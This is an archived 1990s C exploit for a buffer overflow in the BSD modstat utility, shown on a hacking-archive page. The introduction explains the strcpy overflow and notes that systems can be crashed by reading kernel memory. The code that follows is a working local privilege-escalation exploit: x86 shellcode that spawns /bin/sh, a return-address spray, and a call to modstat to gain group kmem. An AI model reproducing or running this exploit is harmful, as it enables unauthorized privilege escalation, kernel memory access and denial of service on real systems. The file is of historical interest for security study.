home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / modstat.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  4KB  |  96 lines

  1.  Modstat is sgid kmem which is really handy to become if you feel 
  2.  like looking through /dev/mem and /dev/kmem (gee, wonder what    
  3.  you might want to do that for <grin>). Like just about everything
  4.  else under the sun it has a buffer overflow problem. The problem 
  5.  exists in the dostat() routine where an arbitrary sized string   
  6.  is shoved into sbuf.name through a strcpy().                     
  7.                                                                   
  8.  It is also possible to panic many systems by reading through     
  9.  all memory. With memory mapped architectures you will set        
  10.  various flags for having read values and touched registers -   
  11.  since the system is expecting these registers to be in certain states, 
  12.  tripping them to other states can cause bizarre results can occur. A 
  13.  quick example is to md5 through your interface to memory and watch  
  14.  the confusion that can occur in certain systems ;-) So yes, in many cases 
  15.  being group kmem will let you shutdown a machine in a roundabout way...
  16.  even with just Read-Only abilities.                              
  17.  
  18.  The difference between this and some other buffer overflow code is 
  19.  that this, much like my original syslog() code has to be placed "after" 
  20.  the saved stack frame since you only have under 57 bytes to deal with. 
  21.  However, we don't care that we might be munging the original args and 
  22.  environment vars now do we ;-). Care must still be taken to make sure the 
  23.  code does not contain NULL's as strcpy will end upon it's first NULL.      
  24.  
  25. /********************************************************************
  26.  * modstat buffer overflow code - mudge@l0pht.com                   *
  27.  * 8/11/96                                                          *
  28.  * Done initially on FreeBSD as my BSDI box is down right now...    *
  29.  * sigh. It should work on any x86 arch with the standard *BSD      *
  30.  * implementation as they all use the same opcodes and operands.    * 
  31.  * Go grab the splitvt code if you want this to work on Linux.      *
  32.  *                                                                  *
  33.  * try with offsets of -48, 7, 271, 326 with the way this is curr.  *
  34.  * setup. If these fail, brute force it <grin>.                     *
  35.  *                                                                  *
  36.  * Many thanks to bitwrior for initially finding the code problem   *
  37.  * in modstat and pointing it out to me - It's always nice when     *
  38.  * someone hands you a bone to gnaw on without wanting              *
  39.  * anything in particular out of it [this I know 'cause he has no   *
  40.  * problems writing this sort of thing on his own].                 *
  41.  *******************************************************************/
  42.  
  43. #include <stdio.h>
  44. #include <stdlib.h>
  45.  
  46. long get_esp(void)
  47. {
  48.    __asm__("movl %esp, %eax\n");
  49. }
  50.  
  51. main(int argc, char **argv)
  52. {
  53.    int i, j, offset;
  54.    char *bar, *foo;
  55.    unsigned long *esp_plus = NULL;
  56.  
  57.   
  58.    char mach_codes[] =
  59.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  60.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  61.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  62.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  63.  
  64.    
  65.    if (argc == 2)
  66.      offset = atoi(argv[1]);
  67.    else {
  68.      fprintf(stderr, "Usage: %s offset\n", argv[0]);
  69.      exit(1);
  70.    }
  71.  
  72.    bar = malloc(4096);
  73.    if (!bar){
  74.      printf("failed to malloc memory\n");
  75.      exit(1);
  76.    }
  77.  
  78.    foo = bar;  /* copy of original ptr */
  79.  
  80.    esp_plus = (long *)bar;
  81.    for(i=0; i < 24 ; i++)
  82.      *(esp_plus++) = (get_esp() + offset);
  83.  
  84.    printf("Using offset (0x%x)\n", (get_esp() + offset)); 
  85.  
  86.    bar = (char *)esp_plus;
  87.  
  88.    for(j=0; j< strlen(mach_codes); j++)
  89.      *(bar++) = mach_codes[j];
  90.  
  91.    *bar = 0; 
  92.  
  93.    execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);  
  94. }
  95.  
  96.